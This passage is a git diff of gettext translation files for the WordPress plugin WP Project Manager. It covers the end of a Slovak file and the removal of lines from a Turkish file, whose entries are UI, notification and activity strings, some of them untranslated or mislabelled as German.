views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 +msgid "Commented By" +msgstr "" + +#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 +msgid "On" +msgstr "" + +#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 +#: views/emails/mention.php:47 +msgid "View Comment" +msgstr "" + +#: views/emails/html/new-message.php:12 +msgid "New Message" +msgstr "Nová správa" + +#: views/emails/html/new-message.php:19 +msgid "Message Created By" +msgstr "" + +#: views/emails/html/new-message.php:28 +msgid "Title" +msgstr "" + +#: views/emails/html/new-message.php:49 +msgid "View Message" +msgstr "Zobraz správu" + +#: views/emails/html/new-project.php:16 +msgid "Project Created By" +msgstr "" + +#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 +#: views/emails/mention.php:37 +msgid "Hello" +msgstr "" + +#: views/emails/html/new-project.php:25 +msgid "You are assigned to a new project \"%s\" by %s." +msgstr "" + +#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 +msgid "You can see the project by going here:" +msgstr "" + +#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 +msgid "View Project" +msgstr "Zobraz projekt" + +#: views/emails/html/new-task.php:12 +msgid "New task has been assigned to you" +msgstr "" + +#: views/emails/html/new-task.php:18 +msgid "Created By" +msgstr "" + +#: views/emails/html/update-project.php:15 +msgid "Project Updated By" +msgstr "" + +#: views/emails/html/update-project.php:24 +msgid "You are assigned to a project \"%s\" by %s." +msgstr "" + +#: views/emails/html/update-task.php:12 +msgid "Update task has been assigned to you" +msgstr "" + +#: views/emails/html/update-task.php:18 +#, fuzzy +#| msgid "Update List" +msgid "Updated By" +msgstr "Aktualizovať zoznam" + +#: views/emails/mention.php:39 +msgid "You are mentioned in a comment by" +msgstr "" + +#: views/emails/mention.php:41 +msgid "Please click the link bellow to view the comment." +msgstr "" + +#. Plugin Name of the plugin/theme +msgid "WP Project Manager" +msgstr "" + +#. Plugin URI of the plugin/theme +msgid "https://wedevs.com/wp-project-manager-pro/" +msgstr "" + +#. Description of the plugin/theme +msgid "" +"WordPress Project Management plugin. Manage your projects and tasks, get " +"things done." +msgstr "" + +#. Author of the plugin/theme +msgid "weDevs" +msgstr "" + +#. Author URI of the plugin/theme +msgid "https://wedevs.com" +msgstr "" + +#~ msgid "Project created by %s" +#~ msgstr "Projekt vytvoril %s" + +#~ msgid "Project details updated by %s" +#~ msgstr "Detail projektu aktualizoval %s" + +#~ msgid "Message \"%s\" deleted by %s" +#~ msgstr "Odkaz \"%s\" vymazal %s" + +#~ msgid "%s deleted a comment" +#~ msgstr "%s vymazal komentár" + +#~ msgid "Add a comment..." +#~ msgstr "Pridaj komentár..." + +#~ msgid "Messages" +#~ msgstr "Správy" + +#~ msgid "message post type" +#~ msgstr "typ spávy" + +#~ msgid "Edit Message" +#~ msgstr "Uprav správu" + +#~ msgid "Search Messages" +#~ msgstr "Prehladaj správy" + +#~ msgid "Parent Message" +#~ msgstr "Nadradená správa" + +#~ msgid "Add New Milestone" +#~ msgstr "Pridaj nový medzník" + +#~ msgid "New Milestone" +#~ msgstr "Nový medzník" + +#~ msgid "View Milestone" +#~ msgstr "Zpbraz medzník" + +#~ msgid "Search Milestone" +#~ msgstr "Hladaj medzník" + +#~ msgid "Parent Milestone" +#~ msgstr "Nadradený medzník" + +#~ msgid "Add Project" +#~ msgstr "Pridaj projekt" + +#~ msgid "Edit Project" +#~ msgstr "Uprav projekt" + +#~ msgid "Search Project" +#~ msgstr "Hladaj projekt" + +#~ msgid "Parent Project" +#~ msgstr "Nadradený projekt" + +#~ msgid "Add Task List" +#~ msgstr "Pridaj zoznam úloh" + +#~ msgid "Add New Task List" +#~ msgstr "Pridaj nový zoznam úloh" + +#~ msgid "Edit Task List" +#~ msgstr "Uprav zoznam úloh" + +#~ msgid "View Task List" +#~ msgstr "Zobraz zoznam úloh" + +#~ msgid "Search Task List" +#~ msgstr "Prehladaj zoznam úloh" + +#~ msgid "Parent Task List" +#~ msgstr "Nadradený zoznam úloh" + +#~ msgid "Add New Task" +#~ msgstr "Pridaj novú úlohu" + +#~ msgid "Edit Task" +#~ msgstr "Uprav úlohu" + +#~ msgid "New Task" +#~ msgstr "Nová úloha" + +#~ msgid "Search Task" +#~ msgstr "Hladaj úlohu" + +#~ msgid "Parent Task" +#~ msgstr "Nadradená úloha" + +#~ msgid "Delete project" +#~ msgstr "Odstrániť projekt" + +#~ msgid "Add this comment" +#~ msgstr "Pridaj tento komentár" + +#~ msgid "late" +#~ msgstr "oneskoro" + +#~ msgid "Attached to %s by %s" +#~ msgstr "Pripojený k %s užívateľom %s" + +#~ msgid "Error: Message not found" +#~ msgstr "Chyba: Správa nenájdená" + +#~ msgid "Error: Project not found" +#~ msgstr "Chyba: Projekt nie je nájdený" + +#~ msgid "Error: Permission denied" +#~ msgstr "Chyba: Oprávnenie bola odopreté" + +#~ msgid "Message %s created by %s" +#~ msgstr "Odkaz %s vytvoril %s" + +#~ msgid "Message %s updated by %s" +#~ msgstr "Odkaz %s aktualizoval %s" + +#~ msgid "To-do list %s created by %s" +#~ msgstr "Zoznam to-do úloh %s vytvoril %s" + +#~ msgid "To-do list %s updated by %s" +#~ msgstr "Zoznam to-do úloh %s aktualizoval %s" + +#~ msgid "To-do list \"%s\" deleted by %s" +#~ msgstr "Zoznam to-do úloh %s vymazal %s" + +#~ msgid "To-do %s added on to-do list %s by %s" +#~ msgstr "To-do úloha %s pridaná na zoznam to-do úloh %s od %s" + +#~ msgid "To-do %s updated by %s" +#~ msgstr "To-do úlohu %s aktualizoval %s" + +#~ msgid "To-do %s completed by %s" +#~ msgstr "To-do úlohu %s dokončil %s" + +#~ msgid "Marked to-do as done" +#~ msgstr "To-do úloha označená hotová" + +#~ msgid "To-do %s marked un-done by %s" +#~ msgstr "To-do úloha %s označil %s ako nesplnenú" + +#~ msgid "Re-opened to-do" +#~ msgstr "Znova otvorená to-do úloha" + +#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" +#~ msgstr "To-do úloha \"%s\" vymazaná z listu to-do úloh %s užívateľom %s" + +#~ msgid "Milestone \"%s\" added by %s " +#~ msgstr "Medzník \"%s\" pridal %s " + +#~ msgid "Milestone \"%s\" updated by %s " +#~ msgstr "Medzník \"%s\" aktualizoval %s " + +#~ msgid "Milestone \"%s\" deleted by %s " +#~ msgstr "Medzník \"%s\" vymazal %s " + +#~ msgid "Milestone \"%s\" marked as complete by %s " +#~ msgstr "Medzník \"%s\" označený ako dokončený užívateľom %s" + +#~ msgid "Milestone \"%s\" marked as incomplete by %s " +#~ msgstr "Medzník \"%s\" označený ako nedokončený užívateľom %s" + +#~ msgid "General" +#~ msgstr "Všeobecné" + +#~ msgid "No Messages Found" +#~ msgstr "Neboli nájdené žiadne správy" + +#~ msgid "No Messages Found in Trash" +#~ msgstr "Neboli nájdené žiadne správy v odpodovom koši" + +#~ msgid "No Milestone Found" +#~ msgstr "Žiadny medzník nebol nájdený" + +#~ msgid "No Milestone Found in Trash" +#~ msgstr "Žiadny medzník nebol nájdený v odpadovom koši" + +#~ msgid "No Project Found in Trash" +#~ msgstr "Žiadny projekt nebol nájdený v odpadovam koši" + +#~ msgid "No Task List Found" +#~ msgstr "Žiadny zoznam úloh nebol nájdený" + +#~ msgid "No Task List Found in Trash" +#~ msgstr "Žiadny zoznam úloh nebol nájdený v odpadovom koši" + +#~ msgid "No Task Found" +#~ msgstr "Žiadny úloha nebola nájdená" + +#~ msgid "No Task Found in Trash" +#~ msgstr "Žiadny úloha nebola nájdená v odpadovom koši" + +#~ msgid "Select co-workers" +#~ msgstr "Vyberte spolupracovníkov" + +#~ msgid "Are you sure to delete this to-do?" +#~ msgstr "Naozaj chcete odstrániť túto to-do úlohu?" + +#~ msgid "Add this to-do" +#~ msgstr "Pridaj toto do to-do úloh" + +#~ msgid "Add a new to-do" +#~ msgstr "Pridaj novú to-do úlohu" + +#~ msgid "-- milestone --" +#~ msgstr "-- medzník --" + +#~ msgid "Are you sure to delete this to-do list?" +#~ msgstr "Naozaj chcete zmazať tento zoznam to-do úloh?" + +#~ msgid "Update comment" +#~ msgstr "Aktualizuj komentár" + +#~ msgid "Edit milestone" +#~ msgstr "Uprav medzník" + +#~ msgid "Mark un-complete" +#~ msgstr "Označiť nedokončené" + +#~ msgid "To-do List" +#~ msgstr "Zoznam úloh" + +#~ msgid "Notify Co-workers" +#~ msgstr "Informujte spolupracovníkov" + +#~ msgid "thread" +#~ msgstr "thread" + +#~ msgid "Discuss this to-do list" +#~ msgstr "Diskutovať o tomto zozname to-do úloh" + +#~ msgid "file size in Megabyte. e.g: 2" +#~ msgstr "veľkosť súboru v Megabyte. napr: 2" + +#~ msgid "New Project Subject" +#~ msgstr "Predmet nového projektu" + +#~ msgid "New Project Body" +#~ msgstr "Popis nového projektu" + +#~ msgid "New Message Subject" +#~ msgstr "Predmet nového odkazu" + +#~ msgid "New Message Body" +#~ msgstr "Správa nového odkazu" + +#~ msgid "New Comment Subject" +#~ msgstr "Predmet nového komentára" + +#~ msgid "New Assigned Task Subject" +#~ msgstr "Predmet novo-zadanej úlohy" + +#~ msgid "-- assign to --" +#~ msgstr "-- priraď k --" + +#~ msgid "" +#~ "To attach, select files " +#~ "from your computer." +#~ msgstr "" +#~ "Pripojiť, vybrné súbory z " +#~ "vášho počítača." + +#~ msgid "%d Comments" +#~ msgstr "%d komentárov" + +#~ msgid "(Completed by %s on %s)" +#~ msgstr "(Dokončil %s dňa %s)" + +#~ msgid "Tasklist name" +#~ msgstr "Názon zoznamu úloh" + +#~ msgid "Add a to-do" +#~ msgstr "Pridaj to-do úlohu" + +#~ msgid "Message deatils here" +#~ msgstr "Podrobnosti správy tu" + +#~ msgid "Details about milestone (optional)" +#~ msgstr "Podrobnosti medzníka (nepovinné)" + +#~ msgid "Reopen" +#~ msgstr "Znova otvor" + +#~ msgid "" +#~ "Download or go to the discussion." +#~ msgstr "" +#~ "Download alebo prejdi k diskusii." + +#~ msgid "No Files Found!" +#~ msgstr "Žiadne súbory neboli nájdené" + +#~ msgid "Add New" +#~ msgstr "Pridaj nový" + +#~ msgid "No messages found! How about adding one?" +#~ msgstr "Neboli nájdené žiadne správy! Chcete pridať novú správu?" + +#~ msgid "← back" +#~ msgstr "← späť" + +#~ msgid "No Milestone Found!" +#~ msgstr "Neboli nájdené žiadne medzníky" + +#~ msgid "Add new milestone" +#~ msgstr "Pridaj nový medzník" + +#~ msgid "Project Info" +#~ msgstr "Informácie o projekte" + +#~ msgid "Oh dear, no To-do list found!" +#~ msgstr "Ach bože, zoznam to-do úloh nebol nájdený!" + +#~ msgid "Discuss this to-do" +#~ msgstr "Diskutovať o tejto to-do úlohe" diff --git a/languages/wedevs-project-manager-tr_TR.po b/languages/wedevs-project-manager-tr_TR.po index f604f6a5e..e6d3dfa9d 100644 --- a/languages/wedevs-project-manager-tr_TR.po +++ b/languages/wedevs-project-manager-tr_TR.po @@ -1,2319 +1,2319 @@ -msgid "" -msgstr "" -"Project-Id-Version: WP Project Manager v0.4.2\n" -"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" -"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" -"PO-Revision-Date: 2018-07-11 12:55+0600\n" -"Last-Translator: Fatih KURU \n" -"Language-Team: \n" -"Language: de_DE\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Plural-Forms: nplurals=2; plural=n != 1;\n" -"X-Generator: Poedit 2.0.8\n" -"X-Poedit-SourceCharset: utf-8\n" -"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;" -"_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2\n" -"X-Poedit-Basepath: ..\n" -"X-Textdomain-Support: yes\n" -"X-Poedit-SearchPath-0: .\n" - -#: core/Notifications/Emails/Complete_Task_Notification.php:42 -msgid "[%s] %s Task mark as %s in %s" -msgstr "" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:53 -#: core/Notifications/Emails/Update_Comment_Notification.php:52 -#: views/emails/html/new-message.php:39 views/emails/mention.php:13 -msgid "Message" -msgstr "Mesaj" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:58 -#: core/Notifications/Emails/Update_Comment_Notification.php:55 -#: views/emails/mention.php:20 -msgid "Task List" -msgstr "Görev Listesi" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:63 -#: core/Notifications/Emails/Update_Comment_Notification.php:58 -#: views/assets/js/pm.js:18541 -#: views/assets/src/components/project-overview/directive.js:10 -#: views/emails/mention.php:25 -msgid "Task" -msgstr "Görev" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:68 -#, fuzzy -#| msgid "Files" -msgid "File" -msgstr "Dosyalar" - -#: core/Notifications/Emails/New_Comment_Notification.php:81 -msgid "[%s][%s] New Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/New_Message_Notification.php:47 -msgid "[%s][%s] New Message: %s" -msgstr "" - -#: core/Notifications/Emails/New_Project_Notification.php:24 -msgid "[%s] New Project Invitation: %s" -msgstr "" - -#: core/Notifications/Emails/New_Task_Notification.php:41 -msgid "[%s][%s] New Task Assigned: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Comment_Notification.php:49 -msgid "[%s][%s] Update Comment on: %s" -msgstr "" - -# @ cpm -#: core/Notifications/Emails/Update_Project_Notification.php:24 -#, fuzzy -#| msgid "Update Project" -msgid "[%s] Updated Project: %s" -msgstr "Projeyi Güncelle" - -#: core/Notifications/Emails/Update_Task_Notification.php:40 -msgid "[%s][%s] Update Task Assigned: %s" -msgstr "" - -#: core/Permissions/Access_Project.php:22 -#: core/Permissions/Create_Discuss.php:17 -#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 -#: core/Permissions/Create_Task_List.php:17 -#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 -#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 -#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 -#: core/Permissions/Project_Manage_Capability.php:28 -msgid "You have no permission." -msgstr "" - -#: core/Permissions/Complete_Task.php:36 -msgid "You have no permission to change task status." -msgstr "" - -#: core/Permissions/Create_File.php:16 -msgid "You have no permission to create message." -msgstr "" - -#: core/Permissions/Project_Craete_Capability.php:17 -msgid "You have no permission to create project." -msgstr "" - -#: core/Upgrades/Upgrade.php:136 -msgid "" -"WP Project Manager Data Update Required – Please " -"click the button below to update to the latest version." -msgstr "" - -#: core/Upgrades/Upgrade.php:139 -msgid "Run the Update" -msgstr "" - -# @ cpm -#: core/Upgrades/Upgrade.php:140 -#, fuzzy -#| msgid "Load More..." -msgid "Read More" -msgstr "Daha fazla yükle ..." - -#: core/Upgrades/Upgrade.php:148 -msgid "" -"It is strongly recommended that you backup your database before proceeding. " -"Are you sure you wish to run the updater now?" -msgstr "" - -# @ default -#: core/WP/Enqueue_Scripts.php:65 -msgid "Allowed Files" -msgstr "Kabul Edilen Dosya" - -#: core/WP/Frontend.php:140 -msgid "Every %d Minutes PM schedule" -msgstr "" - -#: core/WP/Frontend.php:167 -msgid "

WP Project Manager Pro required version 2.0 or above.

" -msgstr "" - -#: core/WP/Frontend.php:168 -msgid "

To migrate version 2.0, Please read mmigration docs

" -msgstr "" - -#: core/WP/Frontend.php:177 -msgid "Read Docs" -msgstr "" - -#: core/WP/Frontend.php:284 -msgid "Get Pro" -msgstr "" - -# @ cpm -#: core/WP/Frontend.php:287 core/WP/Menu.php:36 -msgid "Settings" -msgstr "Ayarlar" - -#: core/WP/Frontend.php:288 -msgid "Documentation" -msgstr "" - -# @ cpm -#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 -msgid "Project Manager" -msgstr "UNV-Proje" - -# @ cpm -#: core/WP/Menu.php:18 -msgid "Projects" -msgstr "Projeler" - -#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 -msgid "Categories" -msgstr "" - -#: core/WP/Menu.php:22 -msgid "My Tasks" -msgstr "" - -#: core/WP/Menu.php:23 -msgid "Calendar" -msgstr "" - -#: core/WP/Menu.php:26 -msgid "Reports" -msgstr "" - -#: core/WP/Menu.php:27 -msgid "Progress" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:23 -msgid "Manager" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:25 -msgid "Manager is a person who manages the project." -msgstr "" - -#: db/seeds/RoleTableSeeder.php:33 -msgid "Co-Worker" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:35 -msgid "Co-worker is person who works under a project." -msgstr "" - -#: src/Category/Validators/Create_Category.php:10 -#: src/Category/Validators/Update_Category.php:10 -msgid "Category title is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:11 -msgid "Category id is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:12 -msgid "Category id must be greater than zero" -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:10 -#: src/Comment/Validators/Update_Comment.php:10 -msgid "Comment title is required." -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:11 -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 -#: src/Milestone/Validators/Create_Milestone.php:11 -#: src/Project/Validators/Update_Project.php:11 -#: src/Task/Validators/Create_Task.php:11 -#: src/Task_List/Validators/Create_Task_List.php:11 -msgid "Project id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:11 -msgid "Comment id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:12 -msgid "Comment id must be greater than zero" -msgstr "" - -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 -msgid "Discussion title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 -msgid "Discuss title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 -msgid "Discuss id is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 -msgid "Discuss id must be greater than zero" -msgstr "" - -#: src/File/Controllers/File_Controller.php:97 -msgid "file not found" -msgstr "" - -#: src/Milestone/Controllers/Milestone_Controller.php:58 -msgid "this is mishu" -msgstr "" - -#: src/Milestone/Validators/Create_Milestone.php:10 -#: src/Milestone/Validators/Update_Milestone.php:10 -msgid "Milestone title is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:11 -msgid "Milestone id is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:12 -msgid "Milestone id must be greater than zero" -msgstr "" - -#: src/Project/Validators/Create_Project.php:10 -#: src/Project/Validators/Update_Project.php:10 -msgid "Project title is required." -msgstr "" - -#: src/Project/Validators/Update_Project.php:12 -msgid "Project id must be greater than zero" -msgstr "" - -#: src/Role/Validators/Create_Role.php:10 -#: src/Role/Validators/Update_Role.php:10 -msgid "Role title is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:11 -msgid "Role id is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:12 -msgid "Role id must be greater than zero" -msgstr "" - -#: src/Task/Validators/Create_Task.php:10 -#: src/Task/Validators/Update_Task.php:10 -msgid "Task title is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:11 -msgid "Task id is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:12 -msgid "Task id must be greater than zero" -msgstr "" - -#: src/Task_List/Validators/Create_Task_List.php:10 -#: src/Task_List/Validators/Update_Task_List.php:10 -msgid "Task list title is required." -msgstr "" - -# @ cpm -#: src/Task_List/Validators/Update_Task_List.php:11 -#, fuzzy -#| msgid "Tasklist detail" -msgid "Task list id is required." -msgstr "Görev Listesi Detay" - -#: src/Task_List/Validators/Update_Task_List.php:12 -msgid "Task list id must be greater than zero" -msgstr "" - -#: texts/activities.php:6 -msgid "%1$s has created a project titled as %2$s" -msgstr "" - -#: texts/activities.php:10 -msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:14 -msgid "%1$s has updated %2$s project description." -msgstr "" - -#: texts/activities.php:18 -msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:22 -msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:26 -msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:30 -msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:34 -msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:40 -msgid "%1$s has created a discussion board titled as %2$s." -msgstr "" - -#: texts/activities.php:44 -msgid "" -"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:48 -msgid "%1$s has updated the description of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:52 -msgid "%1$s has updated the order of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:58 -msgid "%1$s has created a task list titled as %2$s." -msgstr "" - -#: texts/activities.php:62 -msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:66 -msgid "%1$s has updated the description of a task list, %2$s." -msgstr "" - -#: texts/activities.php:70 -msgid "%1$s has updated the order of a task list, %2$s." -msgstr "" - -#: texts/activities.php:76 -msgid "%1$s has created a milestone, %2$s." -msgstr "" - -#: texts/activities.php:80 -msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:84 -msgid "%1$s has updated the description of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:88 -msgid "%1$s has updated the order of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:94 -msgid "%1$s has created a task, %2$s." -msgstr "" - -#: texts/activities.php:98 -msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:102 -msgid "%1$s has updated the description of a task, %2$s." -msgstr "" - -#: texts/activities.php:106 -msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:110 -msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:114 -msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:118 -msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:122 -msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:126 -msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:130 -msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:134 -msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -# @ cpm -#: texts/activities.php:140 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task, %2$s." -msgstr "%s kommentierte bei %s" - -# @ cpm -#: texts/activities.php:144 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:148 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task, %2$s" -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:152 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:158 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task list, %2$s." -msgstr "%s kommentierte bei %s" - -# @ cpm -#: texts/activities.php:162 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task list, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:166 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task list, %2$s" -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:170 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task list, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -#: texts/activities.php:176 -msgid "%1$s has commented on a discussion board, %2$s." -msgstr "" - -# @ cpm -#: texts/activities.php:180 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a discussion board, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -#: texts/activities.php:184 -msgid "%1$s has replied a comment on a discussion board, %2$s" -msgstr "" - -#: texts/activities.php:188 -msgid "%1$s has updated a reply comment on a discussion board, %2$s." -msgstr "" - -# @ cpm -#: texts/activities.php:194 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a milestone, %2$s." -msgstr "%s kommentierte bei %s" - -# @ cpm -#: texts/activities.php:198 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a milestone, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:202 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a milestone, %2$s" -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:206 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a milestone, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:212 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on the project, %2$s." -msgstr "%s kommentierte bei %s" - -# @ cpm -#: texts/activities.php:216 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on the project, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -#: texts/activities.php:220 -msgid "%1$s has replied a comment on the project, %2$s" -msgstr "" - -# @ cpm -#: texts/activities.php:224 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on the project, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:230 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a file, %2$s." -msgstr "%s kommentierte bei %s" - -# @ cpm -#: texts/activities.php:234 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a file, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:238 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a file, %2$s" -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:242 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a file, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -#: texts/activities.php:246 -msgid "%1$s has duplicated project from , %2$s." -msgstr "" - -# @ cpm -#: texts/resource_types.php:5 -#, fuzzy -#| msgid "Project" -msgid "project" -msgstr "Proje" - -#: texts/resource_types.php:8 -msgid "discussion board" -msgstr "" - -# @ cpm -#: texts/resource_types.php:11 -#, fuzzy -#| msgid "Task List" -msgid "task list" -msgstr "Görev Listesi" - -#: texts/resource_types.php:14 -msgid "task" -msgstr "" - -# @ cpm -#: texts/resource_types.php:17 -#, fuzzy -#| msgid "Milestone" -msgid "milestone" -msgstr "Kilometre Taşı" - -# @ cpm -#: texts/resource_types.php:20 -#, fuzzy -#| msgid "%d comment" -#| msgid_plural "%d comments" -msgid "comment" -msgstr "%d yorum" - -# @ cpm -#: texts/resource_types.php:23 -#, fuzzy -#| msgid "%d file" -#| msgid_plural "%d files" -msgid "file" -msgstr "%d dosya" - -#: texts/success_messages.php:6 -msgid "A project has been created successfully." -msgstr "" - -#: texts/success_messages.php:9 -msgid "A project has been updated successfully." -msgstr "" - -#: texts/success_messages.php:12 -msgid "A project has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:16 -msgid "A category has been created successfully." -msgstr "" - -#: texts/success_messages.php:19 -msgid "A category has been updated successfully." -msgstr "" - -#: texts/success_messages.php:22 -msgid "A category has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:25 -msgid "All the selected categories has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:29 -msgid "Successfully commented." -msgstr "" - -#: texts/success_messages.php:32 -msgid "A comment has been updated successfully." -msgstr "" - -#: texts/success_messages.php:35 -msgid "A comment has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:39 -msgid "A new discussion has been created successfully." -msgstr "" - -#: texts/success_messages.php:42 -msgid "A discussion has been updated successfully." -msgstr "" - -#: texts/success_messages.php:45 -msgid "A discussion has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:49 -msgid "A new milestone has been created successfully." -msgstr "" - -#: texts/success_messages.php:52 -msgid "A milestone has been updated successfully." -msgstr "" - -#: texts/success_messages.php:55 -msgid "A milestone has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:59 -msgid "A new task list has been created successfully." -msgstr "" - -#: texts/success_messages.php:62 -msgid "Task list has been updated successfully." -msgstr "" - -#: texts/success_messages.php:65 -msgid "Task list has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:69 -msgid "A new task has been created successfully." -msgstr "" - -#: texts/success_messages.php:72 -msgid "A Task has been updated successfully." -msgstr "" - -#: texts/success_messages.php:75 -msgid "The task 